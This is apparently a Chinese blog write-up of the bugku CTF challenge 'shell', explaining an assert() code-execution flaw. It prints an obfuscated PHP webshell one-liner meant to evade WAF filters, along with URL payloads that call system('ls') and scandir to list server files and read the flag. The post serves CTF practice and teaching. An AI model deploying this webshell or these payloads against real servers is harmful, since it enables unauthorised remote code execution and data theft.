【CTF bugku shell】关于assert()代码执行漏洞利用、目录查询函数scandir()/system()

知识点

assert()代码执行漏洞

目录查询函数scandir()/system()

题目


1.打开场景,啥有没有,常规操作:查看源码,扫路径,抓包也是啥也没有
2.查看作者提示,送给大家一个过狗一句话

$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

通过代码审计得到assert($_GET[‘s’])

因此获得提示:

  1. 存在参数s
  2. 存在assert()代码执行漏洞
  3. 可以利用参数s传入php代码,利用assert()执行代码

其实就是运用webshell过waf
assert、eval都是能代码执行shell命令的危险函数之一
那么可以直接构造,首先想到system函数和scandir函数,没禁用
?s=system(“ls”)

?s=scandir(./)

查看当前路径,找到flag文件,

直接在url里面输入读取就好了



反正就是个简单的系统函数调用,如果system函数都没禁的话,我估计他也没禁什么,随便你构造

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值